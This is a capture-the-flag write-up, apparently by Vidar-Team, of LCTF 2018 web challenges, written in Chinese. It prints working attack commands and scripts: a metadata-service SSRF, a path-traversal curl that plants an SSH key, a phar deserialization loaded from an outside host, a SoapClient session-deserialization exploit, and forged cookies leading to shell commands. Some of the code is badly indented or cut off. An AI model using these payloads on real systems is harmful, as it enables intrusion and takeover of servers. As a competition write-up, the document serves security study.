by Vidar-Team

Team:http://vidar.club


[TOC]


WEB

Travel

源码

# -*- coding: utf-8 -*-
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid 

app = create_app()


@app.route('/upload/', methods=['PUT'])
def upload_file(filename):
    name = request.cookies.get('name')
    pwd = request.cookies.get('pwd')
    if name != 'lctf' and pwd != str(uuid.getnode()):
        return "0"
    filename = urllib.unquote(filename)
    with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
        f.write(request.get_data(as_text=True))
        return "1"
    return "0"


@app.route('/', methods=['GET'])
    def index(): 
        url = request.args.get('url', '')
        if url == '':
            return render_template('index.html')
        if "http" != url[: 4]:
            return "hacker"
        try:
            response = requests.get(url, timeout=10)
            response.encoding = 'utf-8'
            return response.text
        except:
            return "Something Error"


@app.route('/source', methods=['GET'])
    def get_source():
        return open(__file__).read()

if __name__ == '__main__':
    app.run()

使用X-HTTP-Method-Override: PUT就可以上传文件了

https://cloud.tencent.com/document/product/215/20109
腾讯云文档中可以看到怎么获得mac地址

这能拿到mac地址
http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/mac

传.ssh

curl -X GET -H "X-HTTP-Method-Override: PUT" -H "Cookie: name=lctf;pwd=90520735500403" "http://118.25.150.86/upload/..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys" -F "authorized_keys=ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMecVVKChtdzTHnJ5+6+gdcspJ2zyTNlw9fEp6xJOPKB1MA+hthPdb0BQkIKpSSknALLJYe0Ro7RIfzXxmzsWneD8Iq9xbl3G65v7QlzMujgNPARQTvqf0CE5DvSEn13PM9yMNLw+3w8ZLSmtyAvfXl4rN8vUoBaxlVVawMGoZc82jQJOmua7sDpJ+Qt0W5KrDf2TCwP2HR93Z83Qzc5AhVlkC8YGPxW0b2es9toftJ1REAoSz14hGvqZWM0V8eEUmpE8ohXce50RhLnxJc8/jVcqLCvFYPqEJfFzwaeFMCfi5FEVLmIgA2DtSYtige/Zvm7MqAdwHh+i28S9yL/Jl [email protected]"

flag在/app/flag下

T4lk 1s ch34p,sh0w m3 the sh31l

http://212.64.7.171/LCTF.php

先上传再phar反序列化

可能是非预期,但绕过了头限制,安全客的文章可以通过协议传导compress.zlib://phar://这种方式来执行phar

在check的地方phar反序列化

http://212.64.7.171/LCTF.php?m=upload&url=http://94.191.97.184/phar.phar?a=

view-source:http://212.64.7.171/LCTF.php?ddog=ls%20etc/gtk-2.0/&m=check&c=compress.zlib://phar://../data/91200e7711b3ad7115ad4860a404d335/avatar.gif

看进程里他们都在sh -c grep -ir "lctf" > /tmp/xxx

直接看tmp目录下就行了

bestphp's revenge

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
    $_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

可以通过extract把b给改了

http://172.81.210.82/flag.php

反序列化+ssrf

SoapClient 之前N1CTF有过

php session的反序列化

session_start可以设置,直接可以传数组

session_start 序列化一个soap访问flag.php,然后$b替换成call_user_func,在var_dump出错误信息,得到session_id,替换下就可以了

import requests
import re
url = "http://172.81.210.82/"

payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'

r = requests.session()
data = {'serialize_handler' : 'php_serialize'}
url1 = url+"?f=session_start&name="+payload
html = r.post(url1, data=data).text

data = {'b' : "call_user_func"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

data = {'b' : "var_dump"}
url2 = url+"?f=extract&name="+payload
html = r.post(url2, data=data).text

rs = re.findall(r'string\(26\) "(.*?)"', html)

url2 = url
cookie = {"Cookie":"PHPSESSID="+rs[0]}
html = r.post(url2,headers = cookie).text
print html

sh0w m3 the sh31l 4ga1n

继续非预期 神奇的发现第二题的$SECRET==NULL 直接伪造反序列化结束
php伪造脚本

<?php
class K0rz3n_secret_flag { 
    protected $file_path="/var/www/file/48915dedf3ce9ddc70aeefe2a42006a4/avatar.gif"; 
    function __destruct(){ 
        if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){ 
            die("Sorry Sorry Sorry"); 
        } 
    // include_once($this->file_path); 
 } 
} 

class User { 
    public $avatar; 
    function __construct($path) { 
        $this->avatar = $path;                                           
    } 
} 

$data = serialize(new K0rz3n_secret_flag());
$hmac = hash_hmac("md5", $data, NULL); 
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));  

$data = serialize(new User("../file/48915dedf3ce9ddc70aeefe2a42006a4"));
$hmac = hash_hmac("md5", $data, NULL); 
print_r(urlencode(sprintf("%s-----%s", $data, $hmac)));

传shell

GET /LCTF.php?m=upload&url=http://test.tan90.me HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A40%3A%22..%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%22%3B%7D-----01d76466746e56bfe3e9558529df2709
Connection: close

执行命令

GET /LCTF.php?m=upload&url=http://test.tan90.me&cmd=ls%20-al%20/tmp HTTP/1.1
Host: 212.64.74.153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: session-data=O%3A18%3A%22K0rz3n_secret_flag%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00file_path%22%3Bs%3A57%3A%22%2Fvar%2Fwww%2Ffile%2F48915dedf3ce9ddc70aeefe2a42006a4%2Favatar.gif%22%3B%7D-----7b954f00dc02cd915b1c3d4872112634
Connection: close

flag在哪

view-source:http://212.64.74.153/LCTF.php?m=upload&url=http://test.tan90.me&cmd=cat%20/etc/gai.conf

L playground2

os.path.join
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.

file://sandbox//var/www/project/playground/
file://sandbox//var/www/project/playground/__pycache__

main.cpython-37.pyc

from flask import Flask, escape, request, make_response, render_template
from session import *
from utils import *
from flag import FLAG
from parser import parse
app = Flask(__name__)

@app.route('/')
def index():
    user = request.cookies.get('user', '')
    try:
        username = session_decode(user)
    except Exception:
        username = get_username()
        content = escape(username)
    else:
        if username == 'admin':
            content = escape(FLAG)
        else:
            content = escape(username)

    resp = make_response(render_template('main.html', content=content))
    return resp


@app.route('/sandbox')
def render_static():
    if not check_token(request.args.get('token')):
        resp = make_response('invalid request')
    else:
        url = request.args.get('url')
        try:
            if url is None or url == '':
                content = 'no url input'
            else:
                content = parse(url)
            resp = make_response(content)
        except Exception:
            resp = make_response('url error')

        resp.mimetype = 'text/plain'
        return resp


app.run(port=5000)

utils.py

import random, string, base64, datetime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = b'lctf2018lctf2018'
block_size = 16

def random_str(length=5):
    random.seed(None)
    return ''.join((random.choice(string.ascii_letters + string.digits) for _ in range(length)))


def get_username():
    username = random_str(length=5)
    if username != 'admin':
        return username
    else:
        return get_username()


def check_token(token):
    if token == '' or token is None:
        return False
        try:
            token = str.replace(token, ' ', '+')
            token = base64.b64decode(token)
            cipher = AES.new(key, AES.MODE_ECB)
            token = cipher.decrypt(token)
            token = unpad(token, block_size)
            token = str(token, 'utf-8')
        except Exception as e:
            try:
                return False
            finally:
                e = None
                del e

        token = str.split(token, '@')
        if len(token) != 4:
            return False
            try:
                w = int(token[0])
                h = int(token[1])
                ua = token[2]
                ts = datetime.datetime.fromtimestamp(int(token[3][:-3]))
            except Exception as e:
                try:
                    return False
                finally:
                    e = None
                    del e

            if w < 100 or h < 100:
                return False
            if 'urllib' in ua or 'requests' in ua or 'PhantomJS' in ua or 'Python' in ua or 'Scrapy' in ua or 'curl' in ua or 'Wget' in ua:
                return False
            now = datetime.datetime.now()
            if ts < now + (datetime.timedelta(minutes=3)):
                if ts > now - (datetime.timedelta(minutes=3)):
                    return True
                return False

session.py

import base64
from hash import MDA
from flag import seed

def encode(info):
    return str(base64.b32encode(bytes(info, 'utf-8')), 'utf-8')


def decode(info):
    return str(base64.b32decode(bytes(info, 'utf-8')), 'utf-8')


def hash_encode(info):
    md = MDA(seed)
    return md.grouping(info)


def hash_verify(hash_info, info):
    return hash_encode(info) == hash_info


def session_encode(info):
    return '%s.%s' % (encode(info), hash_encode(info))


def session_decode(info):
    info_list = str.split(info, '.')
    if len(info_list) != 2:
        raise Exception('error info')
    info_ = decode(info_list[0])
    if not hash_verify(info_list[1], info_):
        raise Exception('hash wrong')
    return info_

hash.py

# uncompyle6 version 3.2.4
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.0 (default, Oct  2 2018, 09:19:48)
# [Clang 9.0.0 (clang-900.0.39.2)]
# Embedded file name: hash.py
# Size of source mod 2**32: 4512 bytes
__metaclass__ = type
import random, struct

def _bytelist2long(list):
    imax = len(list) // 4
    hl = [0] * imax
    j = 0
    i = 0
    while i < imax:
        b0 = ord(list[j])
        b1 = ord(list[j + 1]) << 8
        b2 = ord(list[j + 2]) << 16
        b3 = ord(list[j + 3]) << 24
        hl[i] = b0 | b1 | b2 | b3
        i = i + 1
        j = j + 4

    return hl


def _rotateLeft(x, n):
    return x << n | x >> 32 - n


def F(x, y, z):
    return x & y | ~x & z


def G(x, y, z):
    return x & z | y & ~z


def H(x, y, z):
    return x ^ y ^ z


def I(x, y, z):
    return y ^ (x | ~z)


def XX(func, a, b, c, d, x, s, ac):
    res = 0
    res = res + a + func(b, c, d)
    res = res + x
    res = res + ac
    res = res & 65535
    res = _rotateLeft(res, s)
    res = res & 65535
    res = res + b
    return res & 65535


class MDA:

    def __init__(self, seed='lctf2018'):
        self.seed = seed
        self.init()

    def init(self):
        self.length = 0
        self.count = [0, 0]
        self.input = []
        random.seed(self.seed)
        self.A = random.randint(3326, 27529)
        self.B = random.randint(3326, 27529)
        self.C = random.randint(3326, 27529)
        self.D = random.randint(3326, 27529)

    def _transform(self, inp):
        a, b, c, d = A, B, C, D = (
         self.A, self.B, self.C, self.D)
        S11, S12, S13, S14 = (7, 12, 17, 22)
        a = XX(F, a, b, c, d, inp[0], S11, 42104)
        d = XX(F, d, a, b, c, inp[1], S12, 46934)
        c = XX(F, c, d, a, b, inp[2], S13, 28891)
        b = XX(F, b, c, d, a, inp[3], S14, 52974)
        S21, S22, S23, S24 = (5, 9, 14, 20)
        a = XX(G, a, b, c, d, inp[1], S21, 9570)
        b = XX(G, b, c, d, a, inp[0], S24, 51114)
        c = XX(G, c, d, a, b, inp[3], S23, 3463)
        d = XX(G, d, a, b, c, inp[2], S22, 41976)
        S31, S32, S33, S34 = (4, 11, 16, 23)
        a = XX(H, a, b, c, d, inp[1], S31, 59972)
        d = XX(H, d, a, b, c, inp[0], S32, 10234)
        c = XX(H, c, d, a, b, inp[3], S33, 12421)
        b = XX(H, b, c, d, a, inp[2], S34, 22117)
        S41, S42, S43, S44 = (6, 10, 15, 21)
        a = XX(I, a, b, c, d, inp[0], S41, 8772)
        d = XX(I, d, a, b, c, inp[3], S42, 52370)
        b = XX(I, b, c, d, a, inp[1], S44, 24017)
        c = XX(I, c, d, a, b, inp[2], S43, 53947)
        A = A + a & 32767
        B = B + b & 32767
        C = C + c & 32767
        D = D + d & 32767
        self.A, self.B, self.C, self.D = (
         A, B, C, D)

    def update(self, inBuf):
        leninBuf = len(inBuf)
        index = self.count[0] >> 3 & 15
        self.count[0] = self.count[0] + (leninBuf << 3)
        if self.count[0] < leninBuf << 3:
            self.count[1

       
       
       

    

Hacking more

...